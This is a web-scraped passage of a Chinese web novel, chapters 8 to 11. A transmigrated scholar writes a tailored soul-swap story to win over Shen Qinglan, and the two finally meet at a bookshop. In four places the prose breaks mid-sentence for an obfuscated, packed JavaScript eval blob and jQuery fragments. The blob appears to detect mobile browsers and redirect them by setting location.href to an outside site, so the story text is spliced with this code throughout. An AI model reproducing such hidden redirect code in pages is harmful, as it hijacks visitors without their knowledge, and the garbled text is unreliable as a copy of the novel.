然后制定了A计划、B计划、C计划数个应对不同情况的方案。
这才开始“钓鱼”行动。
8. 第 8 章
常言道:人无完人。
世上没有完美的恋人,如果有,那多半都是演的。
韩璋知道自己算计亲事的行为并不光彩,但他也不觉得心虚,因为只要他能演上一辈子,那他就是个好人。
何况,看过沈清澜的长相后,他对这个漂亮小哥儿,也是真有好感。
还蛮期待把人娶回家的生活。
确定自己的“追夫计划”没有任何问题后,韩璋就让人给上坡村的家人们带消息,以学习为借口,休沐日不回村。
然后,带着他专门给沈清澜写的订制话本,前往凌云书斋。
这就是他的第一步计划:话本钓鱼!
根据他的调查,沈清澜非常喜欢看话本,甚至为了方便收集话本,还专门开了一间书铺,叫做凌云书斋,养活了不少靠写话本赚钱的贫寒书生。
而众所周知,人都有爱屋及乌的喜好。
倘若他写的话本,能够获得沈清澜的喜欢,那么沈清澜对他这个人,自然也会有所滤镜,产生相当高的好感。
甚至效果够好,不用他制造巧遇,对方就会主动来找他。
—
凌云书斋。
韩璋褪下书院的儒生院服,穿上略带陈旧的衣衫,打扮成贫寒书生的模样,独自来到书斋门口。
好吧,也不用刻意打扮,他本来就是个贫寒书生。
“这位郎君安好,不知郎君是想买书,还是想卖书?”
书斋伙计态度很不错,满脸笑意迎上来,并未因韩璋穿着寒酸就眼高于顶。
这也不奇怪。
京城贵人实在太多了,低调出门的不在少数,而读书人也是即便一时落魄,将来说不准什么时候就一冲九天,实在得罪不得。
所以,比起偏远地方,京城的掌柜伙计,很少有人会把鄙视摆在明面上得罪客人,主打一个和气生财。
韩璋每天给自己安排的事情满满,空闲时间不多。
因此他也并未废话,直切主题拱手道,“麻烦小二哥带路,在下是来卖话本的。”
这业务伙计熟!
“请郎君这边稍坐,小的马上去叫掌柜。”
伙计闻言,领着韩璋在待客的地方坐下,便欢喜去叫掌柜。
他如此高兴也正常,因着东家喜欢看话本,他们每次献上的话本只要能让东家高兴,就都能得到大笔赏钱,这可是个好差事呢。
来回不过几句话的功夫。
掌柜就带着笑容出来接待,“不知这位郎君贵姓,如何称呼?话本写的是什么,可将手稿带了过来?”
“免贵姓韩,这是韩某写的话本《双魂记》,请掌柜过目……”
简单寒暄后,韩璋把自己写的话本递上。
“好字!”
掌柜打开手稿,还没看内容,就先惊喜赞叹出声。
韩璋一个习惯了硬笔字,和机器打字的现代人,毛笔字原本是没那么好的。
但原身可在书法上下过苦功夫的,身体早就形成肌肉记忆,他穿越过来这些天,也一直下苦功夫适应原身的技能。
如今他的毛笔字,因心境原因,写出来比原身还要多几分气势磅礴,让人赞叹一点都不奇怪。
等掌柜看过话本内容,更是拍手叫好。
“好,好一个双魂记,好一个灵魂互换,当真好巧思。”
没错!
韩璋写的话本,就是关于一个富家哥儿和一个贫寒书生,阴差阳错交换灵魂产生交集,闹出一系列啼笑皆非的事情后,而相知相爱的故事……
灵魂交换的狗血梗,在现代就是常见得不能再常见的网文题材。
但在古代,虽不是开创,却也是很新奇了。
而且,韩璋还采用了孙悟空的天花板人设,男主聪明睿智,正直勇敢,胆大心细,尊重女子哥儿……
总之,猴哥的魅力,没人可以不爱。
不过时间有限,话本韩璋没有写完,就只写了一半。
但掌柜看完后还是很满意道。
“韩郎君,我们凌云书斋向来公正,老夫也不框你,你的话本写得很好,无论是人物还是故事情节,塑造都非常生动,文笔更是风趣幽默。”
“但内容比较偏向女子哥儿,受众应该多是闺阁千金和公子,这售卖数量上,恐怕不好估计。”
“所以,我这里有两个选择,你听听看。”
“第一,我们直接15两银子把整个话本买断。”
“第二,按照卖出去的数量给你成分,京城一本100文,外地一本50文,你看如何?”
以目前的市场情况,普通话本通常在几十文到几百文之间。
而具体价格,则受书籍欢迎情况、地域经济、运输印刷成本等影响浮动。
韩璋是新人,以前没什么名气,发行风险比较大,掌柜给他这两种方案的价格,已经非常公道了。
韩璋只是稍微考虑后就道:“我选第二种。”
他对自己的书有信心,也对猴哥的人设有信心。
再说了,他写这书,赚钱是次要,钓鱼才是重点!
“好,这书过些天就会开始卖,正常月底结算银钱,如果有意外情况,我们会联系韩郎君,所以,郎君可否留下住址?还有后续的内容,郎君也可以趁这些日子写出来……”
“行,麻烦掌柜了。”
韩璋和掌柜交涉完细节,签完契约,又留下地址。
这才离开书斋。
等他走后不久,掌柜就把最近几天收购的话本,亲自送去沈府。
……
沈府。
澜蔚苑。
正嫌无聊的沈清澜看见书斋掌柜上门,脸上顿时露出欣喜询问。
“王掌柜,你今儿怎么来府上了,可是铺子里又收到了什么好看的新话本?”
“回公子的话。最近铺子里确实收到了几本不错的话本,以老奴经验,应当都是可以热卖的,只是能否获得公子青睐,还得公子过目。”
王掌柜态度恭敬递上几本书籍。
他可不敢对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656344|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二公子有所怠慢和糊弄。
别看二公子的名声不太好,也时常被人说蠢笨,但实际上二公子也不是真的傻。
尤其在经营商铺方面,公子像极了出身商贾的沈夫人,是个经商好手。
“是吗?那我瞧瞧,可别又是什么富家千金下嫁穷小子,辛苦挖野菜让穷小子功成名就,结果穷小子最后是遵守承诺娶了小姐为妻,但却附带一群红颜知己的!”
“若还敢拿这种玩意儿来污本公子的眼睛,看本公子怎么收拾你……”
沈清澜一边碎碎念念,一边接过书籍开始翻看。
他开书斋主要目的,就是娱乐自己。
想当初铺子刚开业时,掌柜收购的那些话本,十本有八本都是穷秀才和富家千金的爱情故事。
其实,若只这样就算了,他倒也不嫌弃穷秀才。
毕竟年纪轻轻就能考上秀才的男子,尤其是没有家族培养的寒门子弟,绝对是非常优秀的人了。
但问题是。
每本书到了后面,穷秀才身边都不止有富家千金,还有众多妾室,以及外面无数没有名分的红颜知己。
就……看得沈清澜生气!
说好的富家千金和穷秀才甜甜蜜蜜,一生一世一双人呢?结果骗他感情!
这些个写话本子的混账书生,简直可恶至极。
让他没忍住当场亲自动手,把王掌柜给教训了一顿。
想起当初的血泪,王掌柜也是浑身幻疼,尴尬不已。
“公子,您放心,这些都是老奴筛选过,那些个您不喜欢的,老奴可不敢再拿过来污您眼睛了。”
“你知道就好……”沈清澜哼哼唧唧挥手,“行了,先回去吧,书看完再叫你。”
说罢。
就开始兴致勃勃翻看起来。
第一本书《纯情秀才和刁蛮小姐》
——嗯,故事情节都很老套,不过写得确实很有趣。
第二本书《金钗记》
——讲的是一对青梅竹马,被势利眼父母拆散的故事,嗯,故事不稀奇,但是男主和小哥儿是真的很相爱,有情人到底还是终成眷属了,好幸福,百看不厌!
第三本《薛小姐和王世美》
——这是渣男抛弃糟糠的故事,薛小姐上京告御状真是太厉害了,王世美抛弃糟糠攀附丞相千金,活该被砍头……
沈清澜抱着书看得精精有味,还边看边点评。
虽然大部分话本故事都很老套,但架不住题材都是他的喜好,老汤装新瓶,还是让他很喜欢。
古代使用的是文言文,一本书的字数并不多。
沈清澜常年看话本,阅读速度杠杠滴,囫囵吞枣的情况下,很快就把一摞书都翻得差不多了。
直到最后一本。
刚看开头,他眼睛就瞪大了。
这本书叫《双魂记》,主角还是一成不变的富家哥儿和穷秀才。
但不同的是。
故事开头,富家哥儿和穷秀才,竟然互换了灵魂!
9. 第 9 章
灵魂互换?
这可真是太有趣了。
新鲜的题材让沈清澜兴趣大增,不再像看之前的话本那般囫囵吞枣,而是逐字逐句认真阅读起来。
—
这个故事的穷秀才叫张启,富家哥儿叫汤乐,乃是知府家的公子。
与大多数富家千金和穷秀才的开头相同,穷秀才张启进京赶考,因盘缠不够借住寺庙,巧遇同样来寺庙上香的知府公子汤乐。
但不同的是,两人初遇并不愉快。
汤乐因在家受宠,性格非常娇纵,由于张启不小心弄脏了他的衣服,所以生气之下,口不择言给人派头。
而张启虽家境贫穷,可却并不自卑窝囊,两人因此争吵一顿,不欢而散。
张启嫌弃汤乐性格娇纵!
汤乐也嫌弃张启没有男子风度,嘴毒!
结果谁知……
当天晚上,因天上神仙打架连累,两人灵魂意外互换,进入了对方的身体中。
张启变成了“哥儿”汤乐;
汤乐变成了“穷秀才”张启;
这可咋办?
张启很着急:“我马上就要科考了,你能帮我考试吗?!”
汤乐也很崩溃:“我马上就要说亲了,你能帮我去相看吗?!”
两人暴躁;
两人吵架;
两人瞪眼……
最后没办法,两人只能暂时放下恩怨,一起合作思考寻找换回灵魂的办法。
这期间,自然也是鸡飞狗跳。
但慢慢的,伴随着相处的时间越来越多,他们也逐渐发现对方的优点。
比如说:
汤乐看似娇纵,但其实是因为他在家中生活处境,父亲偏心,继母陷害,他为了保护自己,才不得不竖起尖刺。
故意佯装老虎,自毁名声,以免被父亲送给老上职牺牲。
娇纵的汤乐其实也有优点,他乐观开朗,心地善良,坚强勇敢……
再比如说:
张启虽然嘴毒,但才华斐然,聪明睿智,正直心细……而且张启对待姑娘哥儿,与世俗其他男子有很大不同。
当遇到河边有姑娘哭泣投河时;
别人都在劝姑娘:“你这般投河,可想过家中父母白发人送黑发人,他们该如何伤心?”
张启会说:“姑娘定是受了天大的委屈吧?”
当路遇山匪打劫,有姑娘哥儿被掳走,他们帮忙救下送回家时;
别人都在欢呼幸运脱险,欢呼做了救人的好事。
张启却担心:“就这般回去,村民们定会误会这些姑娘哥儿的名誉,我们得想个周全的法子。”
当他们碰见恶霸纨绔,被冤枉入狱时;
汤乐哭得委屈伤心。
张启却还有心情,作上一首打油诗。
“铁窗为伴月为邻,蟋蟀夜半读诗经,狱卒笑问饥寒否?吾道:清风管饱,虱子加荤!”
汤乐噗呲一笑,被逗乐心情。
好在……最后成功脱险。
他们的灵魂,也成功换了回来。
而一起经历过这些鸡飞狗跳和欢声笑语,相互了解到对方的另一面后,两人之间也生出了别样的感情。
他们在月下坦白心意,许下终身承诺。
汤乐说:“今日夜,我与郎君拜上月,乐有陈三愿:一愿郎君千岁,二愿妾身常健,三愿如同梁上燕,与君岁岁常相见。”
张启说:“启,愿与乐相知,长命无绝衰。山无棱,江水为竭,冬雷震震,夏雨雪,天地合,乃敢与乐绝!”
多美的誓言,多幸福的时刻。
可惜美好总是短暂的。
他们的感情被汤老爷发现,汤老爷瞧不起张启是穷秀才,坚决棒打鸳鸯,不许两人在一起。
两人被迫分开。
张启被打得半死,但仍旧努力从泥水中爬起来,没有狼狈,只有坚定。
“汤大人,今日便是你打死启,启与乐哥儿也是真心相爱,至死不悔!”
“常言道:三十年河东三十年河西,莫欺少年穷!”
“汤大人,你给启时间,这次科考,张启定金榜题名,八抬大轿,正大光明向乐哥儿提亲!”
—
然后……
然后没了。
后面未完待续。
“啊啊啊啊,没了,为什么没了?为什么没了!”
“张启到底有没有金榜题名啊?他和乐哥儿到底能不能在一起啊?张启和乐哥儿可千万要在一起啊,他们要是不能在一起,我会哭死的。”
“山无棱,天地合,乃敢与乐绝……呜呜,真是好美的诗句,张启可太有才了。”
正看得起劲儿的沈清澜被断更,呜呜地惨叫打滚。
他太喜欢这本《双魂记》了。
里面的张启才是真正的正人君子。
他那么有才华,那么聪明勇敢,那么风趣幽默,还那么尊重姑娘小哥儿……
真是哪儿哪儿都戳在他的心巴上。
“王掌柜?王掌柜人呢?”
“巧东巧西巧南巧北,你们赶紧去,给我把王掌柜叫过来,我要看《双魂记》后面的故事!”
沈清澜被勾得欲罢不能,嗷嗷打完滚后,立刻让人叫王掌柜过来。
然后吩咐:“你去找《双魂记》的作者,问他后面的内容什么时候能写出来?现在,立刻,马上就去。”
王掌柜为难:“可是公子,天快黑了。”
他怕自己跑不及,半路宵禁遇见官兵,被抓了咋办?
沈清澜挥手:“你跑快点肯定行,来不及回家住客栈,花费本公子给你贴,这个月工钱还给你翻双倍。”
王掌柜:行吧,为了双倍工钱,拼了!
然后迈着他的旋风腿,狂奔去向南书院催更。
大晚上被书院门房叫醒的韩璋:……
不至于,真不至于。
……
加更是不可能加更的。
韩璋还等着沈清澜主动上门呢,现在就把《双魂记》后续内容给出去,他的漂亮夫郎怎么有借口,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656345|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动力来找他?
所以,王掌柜自然是催更失败,丧气而回。
“公子,韩郎君说他还要完成夫子布置的课业,准备明年的科举,《双魂记》的后续内容,最快也要月底才能写出来。”
沈清澜闻言失望不已:“月底?现在才月初啊!”
足足一个月,太久了,他实在等不了。
沈清澜不由着急:“你没说咱们书斋可以给双倍银钱吗?不行三倍,四倍也行,本公子有钱。”
“公子,韩郎君可是向南书院的学子,身为寒门子弟,能进入向南书院实属不易,他怎会为了写话本,耽误青云大业?”
王掌柜无奈道:“韩郎君此番跑书斋卖话本,想来也是家中实在贫困,逼不得已所为。”
向南书院在京城虽不是顶尖书院,但也是排得上号的有名地方。
身为里面的学子,自当以科举考试为重。
如此,沈清澜也只能作罢。
但一想到《双魂记》正精彩的时候没了,他这心里,就抓心挠肝的想知道后续!
“这个韩郎君也真是的,他写话本子,断在什么时候不好,非得断在张启威风八面撂大话的时候,可真是急死我了……”
沈清澜哀嚎不已,简直痛苦死了。
纠结半天。
最后他决定,把自己的痛苦转移到别人身上,把这个话本子分享给他最最最好的冤种好友:左签都御史家的哥儿,安永言。
于是。
同样看嗨到一半,发现故事没写完的安永言也裂开了。
“澜哥儿,后面的呢?你是不是拿漏了?”
“没漏,到此一游(韩璋笔名)还没写完,后续内容最快也要月底才能看到。”
安永言:……
“啊啊啊,沈清澜,你又坑我!”
沈清澜无辜眨眼,理直气壮:“哪儿有,人家就是迫不及待和你分享我最喜欢的话本子,想让你开心一下。”
“那你觉得人家现在开心吗?”
安永言没好气瞪了眼自己这个不靠谱的闺中好友。
见状,沈清澜嘿嘿一笑,然后连忙抱住好友的胳膊撒娇。
“言哥儿,好兄弟就应该有福同享,有难同当对不对?”
“这话本子实在把我勾得太抓心挠肝了,不找个人跟我一起分享,一起讨伐这个该死的【到此一游】,我会睡不着觉的。”
“好言哥儿,我最好的言哥儿,你必须陪我,不然咱俩就绝交。”
安永言点头:“那就绝交吧,你这个大冤孽。”
言哥儿竟然真要跟他绝交?还说他是大冤孽。
沈清澜瞪大眼睛!
沈清澜不可置信!
沈清澜大受打击!
小哥儿不能接受,耍赖大哭,“哇呜呜,安永言,咱俩还是不是天下第一好了?”
接连被抢三次亲事,都没哭得这般凄惨过。
安永言:……
也不知道以后哪个造了孽的家伙,才会把他这位至交好友娶回家。
10. 第 10 章
安永言是左签都御史家的哥儿,其父乃是朝廷三品大员。
官职比沈父整整高了两级,按理来说,他和沈清澜关系应当不至于如此亲近,毕竟地位差距还是比较大。
但缘分就是如此奇妙。
两人因幼时在元宵节,一起被拐子抓走经历过危险后,就从此投缘成了无话不谈的闺中好友,多年情谊到现在从不曾改变,依旧要好非常。
嬉闹后。
安永言就开始关心好友近况。
他忧心道:“澜哥儿,近来京城关于你的流言纷纷,那些不知内情的人,都觉得你接连三次被换亲,定是你有什么问题,短时间内你的亲事怕是难了,你家接下来到底怎么打算?难不成真把你嫁去偏远外地吗?”
好友亲事接连遭遇波折,安永言怎么可能不知道。
眼瞅着沈清澜名声越来越差,亲事迟迟没个着落,他心里也急得要死。
就怕沈家为了甩包袱,把好友远嫁出去,他们此生再难见面。
其实。
沈清澜今日来找安永言,除了想和对方分享话本外,也有让好友看看自己气色很好,并非因亲事憔悴,让好友别担心的想法。
“言哥儿,你放心,我是那种能随便被我爹安排的窝囊废吗?他敢不经过我同意,就把我随便嫁出去,看我不闹他个翻天覆地。”
“再说了,我娘和我二哥那么疼我,他们也是不会让我远嫁的。”
沈清澜拍拍自己腰间的鞭子,示意自己很厉害的模样。
安永言好笑叹气。
“你和你娘到底是后宅之人,你二哥又读书不行,将来也不知前程如何,你爹到底是一家之主,他若真铁了心打发你,便是你们再怎么闹,最后怕也是伤敌一千自损八百。”
“总之,你的亲事,还是早做打算,别坐以待毙。”
话虽然不太好听,但的确是现实。
沈清澜点头:“言哥儿,你说得这些我都明白,所以我和我娘已经商量好了,等过段时间三年一次的选秀时间到,我就参加选秀去。”
“什么,你要进宫?”
安永言被这消息震惊。
随即小心环顾四周,压低声音着急道:“可陛下年纪都那么大了……”
尽管那是陛下,但也架不住是个老头子,澜哥儿还正直青春貌美,多委屈啊。
何况宫里争斗凶险,就澜哥儿的性格进去,能活过一个月吗?
安永言表示很怀疑!
沈清澜也叹口气:“没办法,若是不进宫,以我现在的名声,只能给人当继室,又或者嫁给寒门举子,这两条路我都不想要,前者继室不好当,后者陪夫君吃苦半辈子可能还落不着好。”
“所以,左右比较,还是进宫最好。”
“陛下年纪大点就大点,但只要我能在失宠前生个孩子,不拘皇子还是皇哥儿,下半辈子的荣华富贵,就都稳妥了。”
当然,说是这么说,他心里还是很难受的。
“说得也是,你长得好看,短时间内还是能唬人,陛下肯定会喜欢你……”
安永言点头,好像进宫确实还真是最好的出路。
但终究还是替好友委屈得很。
好在沈清澜乐观洒脱,这些不愉快的情绪很快抛到脑后,还有心情反过来安慰好友。
“言哥儿你放心,我小时候算过命,大师说我是大富大贵的人,我现在倒霉,以后可说不定,等我成了陛下的宠妃,到时候啪啪打脸回去。”
“不说这些了,快跟我说说你最近怎么样?我听说你婆婆想给你相公纳妾?”
说起自己的事,安永言不由露出甜蜜笑容:“嗯,婆婆是想给相公纳妾的,不过成哥拒绝了,成哥说这辈子有我一个就行……”
“真的?那可真是太好了。”
沈清澜也非常替好友开心,还有深深羡慕。
他也想像言哥儿一样,找个真心相爱的夫君,可惜他运气不好,只能听听言哥儿的幸福生活,看看虚幻的话本子,安慰自己了。
见他满脸羡慕。
安永言想起什么,吩咐小侍拿过来一个盒子,打开里面是个三角符篆,笑着劝慰道。
“你也别羡慕我,这是我前几日和夫君去道观上香,帮你求的姻缘符,你贴身戴着,说不准很快就能品极泰来,也找到一个好夫君。”
“好,言哥儿你帮我戴脖子上,我沐浴都不拿下来!”
沈清澜很积极收下东西,笑得像个小太阳。
……
《双魂记》这个话本,就是韩璋根据沈清澜的性格喜好,专门写出来的。
所以,尽管沈清澜跑去和好友分享故事,两人一起讨论了半天,可他被故事勾起来的心痒难耐,仍旧没有缓解,反而更加抓心挠肝。
想看其它话本转移注意力吧?
但找了几天就是没有合适的代餐。
那些话本总有各种缺点,不像《双魂记》哪儿哪儿都合他心意!
如此辗转难眠几天,如韩璋猜测的那般,以沈清澜的性格最终还是没忍住,决定亲自上门找他这个作者催更。
于是很快。
凌云书斋的伙计就找到书院,恭敬对韩璋道:
“韩郎君,我们书斋后天会有一本《新经诗注解》送到,书中有翰林院上一届状元郎的笔墨,掌柜知晓郎君要参加明年科考,因而特遣小的前来告知,若郎君感兴趣,后日可到铺中来瞧瞧。”
上届状元郎的分量,虽不如那些名师大儒,但其批注笔墨也算是难得之物了。
这种《经诗注解》书籍向来好卖,稍有迟疑就会被抢光,作为想要科举入仕的秀才,韩璋怎能不心动?
何况,以他和凌云书斋目前的浅薄交情,对方特意来告知如此消息,极大可能是沈家公子被他的话本,勾得坐不住了。
想到此。
韩璋自是作惊喜状拱手:“多谢小二哥前来告知,后日韩某定早早前往书斋。”
然后等人离开。
他就去书院伙房,花20文铜钱请书院杂役,明日帮忙烧些热水,准备沐浴洗澡。
为什么准备明天洗澡呢?
原因当然是古代生活设施不方便,普通人根本没办法做到每天都洗澡,一周能洗一次就算勤快了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656346|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
除非你是大户人家,有奴仆伺候,有浪费柴火的银钱,否则别想洗澡自由!
明日和沈公子的初见非常重要,必须好好准备。
首先,干净卫生是基础。
——干干净净,打扮一丝不苟的人总能让人更有好感;
然后,是增加特殊印象。
——一个帅哥,和一个与众不同的帅哥,哪个更吸引目光不言而喻;
这点韩璋早就在筹备了。
他打算从衣服香薰入手。
现代男女约会打扮时,为什么都喜欢喷香水?
因为不同的香味,可以给人不同的感觉,营造不同的氛围,来刺激荷尔蒙。
众所周知,一见钟情有很大原因,都是因为荷尔蒙。
韩璋参考沈清澜的喜好,早就调配好了一款由薄荷为主,雪松和柏木为辅,搭配出来的木质调复合香薰。
这款香薰给人的感觉,清新又沉稳,很适合约会用。
不似目前大部分读书人喜欢使用的檀香、沉香……这些让人感觉沉稳厚重的熏香,更容易凸显出他的“特殊”。
至于韩璋为什么还会调香这种偏僻技能?
自然是因为末世前跑业务,为了讨好合作方,迎合人家喜好专门去学的,这技能他不是特别精通,但略懂皮毛已经够用了。
把后日要穿的衣衫熏好。
最后就是配饰!
可千万别小看配饰穿搭,配饰戴好了,是可以起到画龙点睛作用的。
韩璋仔细思考后,同样没有选择玉佩、玉坠、络子绳结……这些比较普遍的配饰。
他选了一串不太常见的镂空铜质铃铛。
选这个没别的原因,就是铃铃铛铛的响声,容易吸引注意力。
人类总共就视觉、听觉、嗅觉、味觉、触觉五大感官。
他现在……
视觉上:有一张英俊帅气的脸;
听觉上:有铃铛配饰吸引耳力;
嗅觉上:有清新沉稳的熏香区别于人;
韩璋就不信,他花了这么多小心思,到时候再加上甜言蜜语,还给沈清澜留不下深刻的好印象!
一切准备就绪。
和掌柜约定好的这天。
看似打扮随意,实则满满心机的韩璋,终于来到书斋。
“抱歉王掌柜,今日书院有事耽搁来晚了,不知先前您托小二哥告知韩某的《新经诗注解》,此刻可还有剩余?”
突然响起的嗓音,低沉而富有磁性。
略带急切脚步声中,还夹杂镂空铃铛之响,分外特别引人注意。
这动静一下子就吸引了哥扮男装,早早来书斋等待,正无聊喝茶吃点心的沈清澜。
沈清澜下意识抬头。
不出意外,一眼就看到了从书斋门口快跑进来的韩璋。
没办法,人家就是想不看见他都不行。
因为整个书斋门口,路过的行人都在慢走,就他一个人在快跑。
静态和动态的强烈对比,他跟别人完全不在一个图层中,沈清澜不一眼注意到他,还能注意到谁?!
11. 第 11 章
老话说得好,自古深情留不住,唯有套路得人心!
韩璋耗费心思准备的小心机,确实没有白费,全都戳在了沈清澜的心坎上。
他今日衣着并不特别,是一件洗得微微发白褪色,但非常整洁的青布长衫。
——着装虽简朴但干净,让沈清澜觉得他举手投足皆是风骨;
他此刻虽在小跑,却并不显狼狈,步伐稳健,背脊如松。
——让沈清澜觉得他自信大方,气质仪态上好;
他声音低沉而富有磁性,充满男子的性张力。
——尽管沈清澜并不知道性张力这个词,但韩璋的声音让他耳朵发痒。
最后是韩璋的相貌。
鼻若悬胆,朗目疏眉,丰神俊朗。
身高八尺,宽肩窄腰,整个人英气又俊逸,不似时下大多数文弱书生,更似富有阳刚之气的少年将军……
惊鸿一见倾心许,半生痴念半生怨。
沈清澜不爱诗书,偏爱潇洒意气,韩璋的长相气质妥妥在他的审美上。
当看清来人的那刻,他只觉得胸口发紧,呼吸都滞了一瞬,脸颊霎时爬上两抹可疑的红晕,心脏不受控制地怦然跳动起来。
一眼万年,心间悸动,情愫悄然生长。
“他……就是到此一游,写《双魂记》的那位韩郎君吗?”
沈清澜视线落在门口走进来的人身上。
往日骄纵的说话语气,突然变得温柔含蓄起来,之前还称呼韩秀才,现在也变成了韩郎君,眼眸害羞又明亮。
旁边的贴身小侍巧东和巧西,注意力也被门口的韩璋吸引,一时并未注意到自家主子的异样,闻言赶忙回道。
“他刚才自称韩某,还说要买《新经诗注解》,今日这么巧的只有写《双魂记》的那位韩秀才了。”
“公子,他定是韩秀才!没想到韩秀才话本写得好,模样也长得这般俊朗!”
巧东巧西语气激动,双眼也是冒星星。
他们因为是贴身小侍,自然也有幸跟着沈清澜提前看过话本内容,同样被话本故事深深吸引,此刻也难免有些面见偶像的滤镜和兴奋。
主仆三人对韩璋的第一印象都非常好。
而另一边的王掌柜。
因为有主子叮嘱,所以也并未立刻把书籍交给韩璋,而是笑道。
“韩郎君莫急,向南书院夫子教学严格,王某早料郎君恐怕来晚,索性单独留了一本,韩郎君请往雅间歇息片刻,我这就差人去取书来。”
“当真?太好了,多谢掌柜惦念,来日韩某定当回报。”
韩璋欣喜道谢。
王掌柜乐呵呵笑:“韩郎君无需客气,您有空多写几回话本,让咱们书斋能多揽上几位客人,就可以了。”
说罢,便让伙计带韩璋去雅间喝茶歇息。
书斋不是茶楼,并不会长时间接待客人,因此雅间面积并不大。
韩璋走进去便看见了沈清澜主仆三人。
他视线落在沈清澜身上,先是目光微怔,眼中流露出被沈清澜哥扮男装的俊俏模样惊艳到的神色。
然后便反应过来自己失礼,不好意思拱手作礼打招呼。
“抱歉,兄台气度华章,令人见之心折,方才是韩某失礼了。”
沈清澜长得虽漂亮,但却并不是柔弱那款,而是俊美精致,扮做男装并不突兀,像个温文尔雅的美男子。
韩璋被惊艳怔楞的反应并不稀奇,甚至很正常。
所以,沈清澜也并未觉得冒犯,反而心中还有些隐秘欢喜,忍不住主动邀请道。
“无妨。兄台若是不介意,一起同桌如何?”
说罢想到什么,又补了一句:“在下姓王,单字一个澜。”
“……好,王兄不嫌弃,那韩某便叨扰了。”
韩璋只是稍微犹豫了下,就笑着走过去坐下。
然后也自我介绍:“在下姓韩,与兄台相同,也是单字一个璋。”
他举止大方,性格不卑不亢。
沈清澜很喜欢他这般坦荡不做作的性格,不由想与他多说些话,继续主动挑起话题。
“韩兄,你姓韩,今日又恰巧前来购买《新经诗注解》,韩兄莫不就是写《双魂记》的那位韩先生?”
“王兄,你……”是如何得知的!
韩璋闻言自是露出惊疑之色。
毕竟写话本对读书人来说,不是什么正经之事,大部分书生都不愿让人知道马甲。
沈清澜见状,把提前准备好的说辞拿出来解释。
“王掌柜乃是家叔,我平时帮叔叔打理书斋,专门负责书籍的抄写和刻印等事宜,因而提前阅读过先生的大作。”
“先生大才,想法奇特,行文妙笔生花,我很喜欢先生写的《双魂记》!”
“前日听叔叔说,先生今日可能会来书斋,心中甚是欢喜,一时心急冲动,便没忍住前来瞻仰先生风采,顺便……顺便向先生讨问书中内容后续,那张秀才是否能够一举高中,与乐哥儿有情人终成眷属呀?”
“还望先生能解答一二,否则王某心中实在抓心挠肝,辗转难眠!”
说到最后,沈清澜都顾不得自己现在哥扮男装的仪态了。
满脸都是拜托拜托的撒娇央求之色。
真是可爱得很。
韩璋也忍不住勾了勾唇角,才道。
“原来如此,王兄过奖了,不过雕虫小道,先生二字不敢当,《双魂记》能受王兄喜欢,实乃韩某知己之幸。”
“至于话本后续内容……并非韩某小气,不愿透露些许,而是盖有玄机,存其悬念,凡有期待,岂不更加有趣?”
剧透是不可能剧透的。
现在剧透了,还怎么让漂亮夫郎主动惦念他,以后继续来找他?
但这可把小哥儿给委屈失望坏了。
“可是韩兄,我真的太想知道了,盼不着下文,我接下来定度日如年,寝食难安……要不,韩兄你就说一点点,一点点就行。”
“或者,你就告诉我,张秀才和乐哥儿,他们最终到底能不能在一起?”
沈清澜还是不死心,想要听剧透。
因为他不能接受悲剧,如果张秀才和乐哥儿是悲剧,那甭管是撒娇卖萌,还是死缠烂打,又或者威逼利诱,狂砸银子,他都要让人改结局!
可惜韩璋心硬如铁。
“不可说,便是不可说。”
但看沈清澜失望的模样。
韩璋又笑道,“不过,王兄这般期待,实在叫韩某荣幸之极,韩某回去定加快速度,早点把后续写出来,让王兄提前观摩如何?”
“真的?好吧,那你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656347|188306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可要快点呀。”
沈清澜还是很失望,可也只能作罢。
毕竟韩璋不是专门以写话本为生,他是要考科举的,不能耽误了前程。
不过,虽然剧透不行,但已经写出来的总可以问吧!
沈清澜很快又期待追问。
“对了韩兄,你书中有写过一种叫做‘棉花糖’的吃食——其中拉丝的能绕三圈不断,软块的入口即化,瞧着实在好吃得紧,现实中可真有这种吃食吗?”
